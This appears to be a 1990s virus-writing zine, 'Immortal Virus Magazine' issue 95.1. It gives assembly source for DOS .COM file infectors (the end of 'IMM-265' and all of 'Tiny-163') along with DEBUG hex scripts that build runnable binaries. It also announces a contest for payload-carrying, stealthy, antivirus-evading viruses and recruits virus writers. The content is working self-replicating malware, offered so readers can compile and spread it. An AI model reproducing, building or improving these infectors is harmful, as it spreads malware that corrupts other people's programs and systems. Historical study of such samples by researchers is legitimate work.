cmp byte ptr [orgbts+bp+3],'I' ;Already infected
|
||
jz shutit
|
||
|
||
mov ax,4202h ;Goto eof
|
||
sub cx,cx ;2 byte version of mov cx,0!!
|
||
cwd ;1 byte version of mov dx,0!!
|
||
int 21h
|
||
|
||
sub ax,0003h ;Use our jmp table
|
||
mov word ptr [bp+jmptbl+1],ax
|
||
|
||
mov ah,40h ;Implend our viral code into victim
|
||
mov cx,eov-start
|
||
lea dx,[bp+start]
|
||
int 21h
|
||
|
||
mov ax,4200h ;Goto SOF
|
||
sub cx,cx
|
||
cwd
|
||
int 21h
|
||
|
||
mov ah,40h ;Write first four bytes over
|
||
mov cx,0004h ; the original
|
||
lea dx,[bp+jmptbl]
|
||
int 21h
|
||
|
||
shutit: mov ah,3eh ;Close victim
|
||
int 21h
|
||
|
||
nextf: mov ah,4fh ;Find next file
|
||
jmp fnext
|
||
|
||
re_dta: mov ah,1ah ;Reset DTA
|
||
mov dx,0080h
|
||
int 21h
|
||
|
||
mov di,0100h ;Return control to original file!
|
||
push di
|
||
ret
|
||
|
||
|
||
fspec db 'z.com',0
|
||
infcnt db 0
|
||
jmptbl db 0e9h,00h,00h,'I'
|
||
orgbts: db 90h,90h,90h,90h
|
||
eov:
|
||
end start
|
||
-------------------------------------<CUT>-------------------------------------
|
||
N IMM-265.COM
|
||
E 0100 E9 02 00 49 C3 53 58 B8 01 FA BA 45 59 CD 16 E8
|
||
E 0110 00 00 5D 81 ED 0D 01 8D B6 05 02 BF 00 01 A5 A5
|
||
E 0120 0E 1F 8D 96 09 02 B4 1A CD 21 B0 01 B4 35 CD 21
|
||
E 0130 06 58 3D 70 00 75 16 B0 03 B4 35 CD 21 06 58 3D
|
||
E 0140 70 00 75 09 B4 2C CD 21 80 FA 0D 7F 04 B0 82 E6
|
||
E 0150 21 B4 2C CD 21 80 FA 32 7C 21 B4 09 8D 96 64 01
|
||
E 0160 CD 21 B4 00 CD 16 EB 13 90 69 4D 4D 6F 52 54 61
|
||
E 0170 4C 2E 32 36 33 21 21 07 0A 0D 24 B4 4E 8D 96 FA
|
||
E 0180 01 C6 86 00 02 00 80 86 00 02 01 80 BE 00 02 06
|
||
E 0190 74 61 C6 86 FA 01 2A CD 21 72 58 C6 86 FA 01 7A
|
||
E 01A0 8D 96 27 02 B8 02 3D CD 21 72 44 93 B9 04 00 B4
|
||
E 01B0 3F 8D 96 05 02 CD 21 80 BE 08 02 49 74 2D B8 02
|
||
E 01C0 42 2B C9 99 CD 21 2D 03 00 89 86 02 02 B4 40 B9
|
||
E 01D0 09 01 8D 96 00 01 CD 21 B8 00 42 2B C9 99 CD 21
|
||
E 01E0 B4 40 B9 04 00 8D 96 01 02 CD 21 B4 3E CD 21 B4
|
||
E 01F0 4F EB 93 B4 1A BA 80 00 CD 21 BF 00 01 57 C3 7A
|
||
E 0200 2E 63 6F 6D 00 00 E9 00 00 49 90 90 90 90
|
||
RCX
|
||
010E
|
||
W
|
||
Q
|
||
-------------------------------------<CUT>-------------------------------------
|
||
By: [Hacking Hell]!------------------------------Immortal Virus Magazine--------------------------
|
||
-----------------------------------Issue 95.1----------------------------------
|
||
------------------------------------Tiny-163-----------------------------------
|
||
|
||
This is a very old virus, it also is very small and very easy to detect,
|
||
it is .COM infector, non-encrypting, non-tsr, non-payloaded, in fact,
|
||
it does nothing but infecting, I think it's somebodies first virus or
|
||
something.
|
||
|
||
Compile with A86 or TASM/TLINK!
|
||
|
||
-------------------------------------<CUT>-------------------------------------
|
||
.Model Tiny
|
||
.Code
|
||
|
||
data_2e equ 1ABh ;start of virus
|
||
|
||
seg_a segment byte public ;
|
||
assume cs:seg_a, ds:seg_a ;assume cs, ds - code
|
||
|
||
|
||
org 100h ;orgin of all COM files
|
||
s proc far
|
||
|
||
start:
|
||
jmp loc_1 ;jump to virus
|
||
|
||
|
||
;this is a replacement for an infected file
|
||
|
||
db 0CDh, 20h, 7, 8, 9 ;int 20h
|
||
;pop es
|
||
|
||
loc_1:
|
||
call sub_1 ;
|
||
|
||
|
||
|
||
s endp
|
||
|
||
|
||
sub_1 proc near ;
|
||
pop si ;locate all virus code via
|
||
sub si,10Bh ;si, cause all offsets will
|
||
mov bp,data_1[si] ;change when virus infects
|
||
add bp,103h ;a COM file
|
||
lea dx,[si+1A2h] ;offset of '*.COM',0 - via SI
|
||
xor cx,cx ;clear cx - find only normal
|
||
;attributes
|
||
mov ah,4Eh ;find first file
|
||
loc_2:
|
||
int 21h ;
|
||
|
||
jc loc_6 ;no files found? then quit
|
||
mov dx,9Eh ;offset of filename found
|
||
mov ax,3D02h ;open file for read/write access
|
||
int 21h ;
|
||
|
||
mov bx,ax ;save handle into bx
|
||
mov ah,3Fh ;read from file
|
||
lea dx,[si+1A8h] ;offset of save buffer
|
||
mov di,dx ;
|
||
mov cx,3 ;read three bytes
|
||
int 21h ;
|
||
|
||
cmp byte ptr [di],0E9h ;compare buffer to virus id
|
||
;string
|
||
je loc_4 ;
|
||
loc_3:
|
||
mov ah,4Fh ;find the next file
|
||
jmp short loc_2 ;and test it
|
||
loc_4:
|
||
mov dx,[di+1] ;lsh of offset
|
||
mov data_1[si],dx ;
|
||
xor cx,cx ;msh of offset
|
||
mov ax,4200h ;set the file pointer
|
||
int 21h ;
|
||
|
||
mov dx,di ;buffer to save read
|
||
mov cx,2 ;read two bytes
|
||
mov ah,3Fh ;read from file
|
||
int 21h ;
|
||
|
||
cmp word ptr [di],807h ;compare buffer to virus id
|
||
je loc_3 ;same? then find another file
|
||
|
||
;heres where we infect a file
|
||
|
||
xor dx,dx ;set file pointer
|
||
xor cx,cx ;ditto
|
||
mov ax,4202h ;set file pointer
|
||
int 21h ;
|
||
|
||
cmp dx,0 ;returns msh
|
||
jne loc_3 ;not the same? find another file
|
||
cmp ah,0FEh ;lsh = 254???
|
||
jae loc_3 ;if more or equal find another file
|
||
|
||
mov ds:data_2e[si],ax ;point to data
|
||
mov ah,40h ;write to file
|
||
lea dx,[si+105h] ;segment:offset of write buffer
|
||
mov cx,0A3h ;write 163 bytes
|
||
int 21h ;
|
||
|
||
jc loc_5 ;error? then quit
|
||
mov ax,4200h ;set file pointer
|
||
xor cx,cx ;to the top of the file
|
||
mov dx,1 ;
|
||
int 21h ;
|
||
|
||
mov ah,40h ;write to file
|
||
lea dx,[si+1ABh] ;offset of jump to virus code
|
||
mov cx,2 ;two bytes
|
||
int 21h ;
|
||
|
||
;now close the file
|
||
|
||
loc_5:
|
||
mov ah,3Eh ;close file
|
||
int 21h ;
|
||
|
||
loc_6:
|
||
jmp bp ;jump to original file
|
||
|
||
data_1 dw 0 ;
|
||
db '*.COM',0 ;wild card search string
|
||
|
||
|
||
sub_1 endp
|
||
seg_a ends
|
||
end start
|
||
-------------------------------------<CUT>-------------------------------------
|
||
N TINY-163.COM
|
||
E 0100 EB 06 90 CD 20 07 08 09 E8 00 00 5E 81 EE 0B 01
|
||
E 0110 8B AC A0 01 81 C5 03 01 8D 94 A2 01 33 C9 B4 4E
|
||
E 0120 CD 21 72 7A BA 9E 00 B8 02 3D CD 21 8B D8 B4 3F
|
||
E 0130 8D 94 A8 01 8B FA B9 03 00 CD 21 80 3D E9 74 04
|
||
E 0140 B4 4F EB DC 8B 55 01 89 94 A0 01 33 C9 B8 00 42
|
||
E 0150 CD 21 8B D7 B9 02 00 B4 3F CD 21 81 3D 07 08 74
|
||
E 0160 DF 33 D2 33 C9 B8 02 42 CD 21 83 FA 00 75 D1 80
|
||
E 0170 FC FE 73 CC 89 84 AB 01 B4 40 8D 94 05 01 B9 A3
|
||
E 0180 00 CD 21 72 15 B8 00 42 33 C9 BA 01 00 CD 21 B4
|
||
E 0190 40 8D 94 AB 01 B9 02 00 CD 21 B4 3E CD 21 FF E5
|
||
E 01A0 00 00 2A 2E 43 4F 4D 00
|
||
RCX
|
||
00A8
|
||
W
|
||
Q
|
||
-------------------------------------<CUT>-------------------------------------
|
||
By: [Hacking Hell]!------------------------------Immortal Virus Magazine--------------------------
|
||
-----------------------------------Issue 95.1----------------------------------
|
||
-------------------------------------Contest-----------------------------------
|
||
|
||
|
||
Now everybody look at this: We start a virus writing contest.
|
||
|
||
Rules:
|
||
Your Virus must be smaller than 1k, it must be appending, minimally one (1)
|
||
Payload, original ideas (no mutations), assembly source must be included,
|
||
and .COM infections.
|
||
|
||
Options:
|
||
Stealth
|
||
Cloaking
|
||
Built-in trojan
|
||
more payloads
|
||
Traverse
|
||
TSR
|
||
TBAV hide
|
||
etc.
|
||
|
||
Send it to our WHQ: Arrested Development (+31 77 547477), User:
|
||
Hacking Hell / Cyborg / Android / Arnie II / Foxman....
|
||
|
||
|
||
By: [Cyborg], typed by [Hacking Hell] on his computer due incompatible
|
||
keyboard... (His computer was busy with leeching)
|
||
------------------------------Immortal Virus Magazine--------------------------
|
||
-----------------------------------Issue 95.1----------------------------------
|
||
-------------------------------------Contact-----------------------------------
|
||
|
||
So, you wanna contact us (why else would you read this boring stuff!).
|
||
|
||
You can contact us at our WHQ: Arrested Development (+31 77 547477),
|
||
mail something to Hacking Hell, Cyborg, Android, Arnie II or FoxMan.
|
||
|
||
We also will soon have a E-Mail address (UNKNOWN YET!)!! COOL! (This was a
|
||
butthead break-in!).
|
||
|
||
If you wanna become a member and you can program h/p/a/v or you have Internet
|
||
please leave a mezzie to Hacking Hell or Cyborg (NOT to the other guyz!)
|
||
|
||
We need some (very) good hacking / phreaking / anarchism / virus writer(s),
|
||
we would especially like a female virus-writer! I don't know any yet, mail
|
||
me and wake me up!
|
||
|
||
[Cyborg Interrupts]
|
||
Oh,no, he is searching for a [HACKING HELL: GET LOST CYBORG, WHAT'S WRONG
|
||
ABOUT A FEMALE IN OUR GROUP?!?]
|
||
Nothing's wrong withj it, I was just a lil' childish and making a joke!!
|
||
You may proceed, my good Earthling...
|
||
|
||
[HACKING HELL BACK AGAIN]
|
||
|
||
Cyborg, please stop discriminating the female race! Cyborg, don't touch this
|
||
keyboard! It's mine! Mine! Mine! Let me go!!!! BANG! That was my shotgun...
|
||
Shit, missed! Cyborg, next time you touch me, I will destroy you, I
|
||
programmed you, I can also eliminate you!
|
||
|
||
[Cyborg Interrupts again.]
|
||
|
||
Well, One: I did not discriminate anyone, and TWO, you cannot fight a Cyborg,
|
||
You may have programmed me, but you do not control me and you never will.
|
||
DataBank Reports:" To Control: to have the power to destroy."
|
||
Now, for you know that, you might proceed, if you know the magic word:
|
||
Ah, ah, ah, you didn't say the magic word, ah, ah, ah,......NO CARRIER
|
||
|
||
[HACKING HELL BACK AGAIN]
|
||
WATCH ME! I will destroy you in a jiffy! And now for real: No Carrier...
|
||
|
||
By: [Hacking Hell: On my own computer] and [Cyborg: Also on my computer!]...
|